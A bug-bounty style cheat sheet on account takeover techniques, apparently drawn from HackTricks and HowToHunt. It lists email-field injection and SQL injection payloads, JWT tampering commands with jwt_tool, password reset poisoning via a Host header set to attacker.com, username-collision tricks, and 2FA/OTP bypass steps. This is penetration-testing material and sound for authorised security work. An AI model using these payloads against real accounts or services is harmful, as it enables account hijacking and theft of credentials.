description |
---|
( Credits: HackTricks ) |
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
#No domain:
email=victim
#No TLD (Top Level Domain):
email=victim@xyz
#change param case
email=victim@mail.com&Email=attacker@mail.com
email@email.com**,**victim@hack.secry
email@email**“,”**victim@hack.secry
email@email.com**:**victim@hack.secry
email@email.com**%0d%0a**victim@hack.secry
**%0d%0a**victim@hack.secry
**%0a**victim@hack.secry
victim@hack.secry**%0d%0a**
victim@hack.secry**%0a**
victim@hack.secry**%0d**
victim@hack.secry**%00**
victim@hack.secry**{{}}**
# Single Host:
python3 smuggler.py -u <URL>
# List of hosts:
cat list_of_hosts.txt | python3 smuggler.py
HTTP Request Smuggling leads to Full Accounts takeover
- Make 2 Accounts Same in everything [username and another things] but with Different email ID >> ATO
- Duplicate Registration - The Twinning Twins | by Jerry Shah (Jerry) | Medium
- Create user named: AdMIn (uppercase & lowercase letters)
- Create a user named: admin=
- SQL Truncation Attack (when there is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a
- Play with email Parameter
- uppsercase
- +1@
- add some some in the email
- special characters in the email name (%00, %09, %20)
- Put black characters after the email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- In email field
# SQLI in Email Field
{"email":"asd'a@a.com"} --> Not Valid
{"email":"asd'or'1'='1@a.com" } --> valid
{"email":"a'-IF(LENGTH(database())>9,SLEE P(7),0)or'1'='1@a.com"} --> Not Valid
{"email":"a'-IF(LENGTH(database())>9,SLEE P(7),0)or'1'='1@a.com"} -> Valid --> Delay: 7,854 milis
{"email":"\\"a'-IF(LENGTH(database())=10,SLEEP(7),0)or'1'='1\\"@a.com"} --> {"code":0,"status":200,"message":"Berhasil"} --> Valid --> Delay 8,696 milis
{"email":"\\"a"-IF(LENGTH(database())=11,SLEEP(7),0)or'1'='1\\"@a.com"} ---> {"code":0,"status":200,"message":"Berhasil"} ---> Valid --> No delay
# Resources
https://dimazarno.medium.com/bypassing-email-filter-which-leads-to-sql-injection-e57bcbfc6b17
- Insert Statement | Modify password of existing object/user To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:
- Create user named: AdMIn (uppercase & lowercase letters)
- Create a user named: admin=
- SQL Truncation Attack (when ere is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a
[[OAUTH to ATO]]
- Test
edirect_uri
for [[Open Redirect]] and [[Web-App Security/XSS|XSS]] - Test the existence of response_type=token
- Missing state parameter? -> CSRF
- Predictable state parameter?
- Is state parameter being verified?
- Try to change email to Registered email
- Try to change email to unregistered email but try to handle Reset Password to Get Pre-ATO
- Check if you can use disposable emails
- Long password (>200) leads to DoS
- Check rate limits on account creation
- Use username@burp_collab.net and analyze the callback
Password Reset Token Leak Via Referrer
- Request password reset to your email address
- Click on the password reset link
- Don’t change password
- Click any 3rd party websites(eg: Facebook, twitter)
- Intercept the request in Burp Suite proxy
- Check if the referrer header is leaking password reset token.
Password Reset Poisoning
[[Host Header Injection]]
- Intercept the password reset request in Burp Suite
- Add or edit the following headers in Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Forward the request with the modified header
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Look for a password reset URL based on the host header like :
https://attacker.com/reset-password.php?token=TOKEN
Weak Password Reset Token
The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Password Reset Via Username Collision
- Register on the system with a username identical to the victim’s username, but with white spaces inserted before and/or after the username. e.g:
"admin "
- Request a password reset with your malicious username.
- Use the token sent to your email and reset the victim password.
- Connect to the victim account with the new password.
- Steps(For Registration):
1. For registeration intercept the signup request that contains the data you have entered.
2. Click on action -> do -> intercept the response to this request.
3. Click forward.
4. Check response if that contains any link, any token or OTP.
- Steps (For password reset):
- API endpoints leaks tokens
- Tokens Leaked in the Response
- Tokens Leaked in JavaScript File
1. Intercept the forget password option.
2. Click on action -> do -> intercept the response to this request.
3. Click forward.
4. Check response if that contains any link,any token or OTP.
- Attacker have to login with their account and go to the Change password feature.
- Start the Burp Suite and Intercept the request
- Send it to the repeater tab and edit the parameters : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
[[HowToHunt-master/XSS/Xss]]
- Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain :
*.domain.com
- Leak the current sessions cookie
- Authenticate as the user using the cookie
[[HowToHunt-master/CSRF/CSRF]]
- Change Password function.
- Email change
- Change Security Question
- Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change”
- Send the payload
- Edit the JWT with another User ID / Email
- Multiple JWT test cases
python3 jwt_tool.py -t https://api.example.com/api/working_endpoint -rh "Content-Type: application/json" -rh "Authorization: Bearer [JWT]" -M at
- Test JWT secret brute-forcing
python3 jwt_tool.py <JWT> -C -d <Wordlist>
- Abusing JWT Public Keys Without knowing the Public Key
https://github.com/silentsignal/rsa_sign2n
- Test if algorithm could be changed
- Change algorithm to None
python3 jwt_tool.py <JWT> -X a
- Change algorithm from RS256 to HS256
python3 jwt_tool.py <JWT> -S hs256 -k public.pem
- Change algorithm to None
- Test if signature is being validated
python3 jwt_tool.py <JWT> -I -pc <Key> -pv <Value>
- Test token expiration time (TTL, RTTL)
- Test if sensitive data is in the JWT
- Check for Injection in "kid" element
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
- Check for time constant verification for HMAC
- Check that keys and secrets are different between ENV
- Response Manipulation
- Enable 2FA without verifying the email
- Try IDOR
- 2FA Code Leakage in Response
- Missing 2FA Code Integrity Validation
- 2FA Referrer Check Bypass | Direct Request
- Lack of Brute Force protection
- Race Condition
- Disable 2FA via CSRF [[OTP_Bypass]] An Interesting Account Takeover Vulnerability | by Avanish Pathak | Medium
- Response Manipulation
- Bypassing OTP in registration forms by repeating the form submission multiple times using repeater
- No Rate Limit
[[Authentication Bugs]]
Check out Auth Bypass method, there is a method for OTP bypass via response manipulation, this can leads to account takeovers.
1.Enter the wrong auth code / Password
2.Capture a auth request in burpsuite and send it to repeater
3.Check for the resoponse
4.Change the respone by manipulating the following parameters
{“code”:”invalid_credentials”} -> {“code”:”valid_credentials”}
{“verify”:”false”} -> {“verify”:”true”}
https://infosecwriteups.com/hubspot-full-account-takeover-in-bug-bounty-4e2047914ab5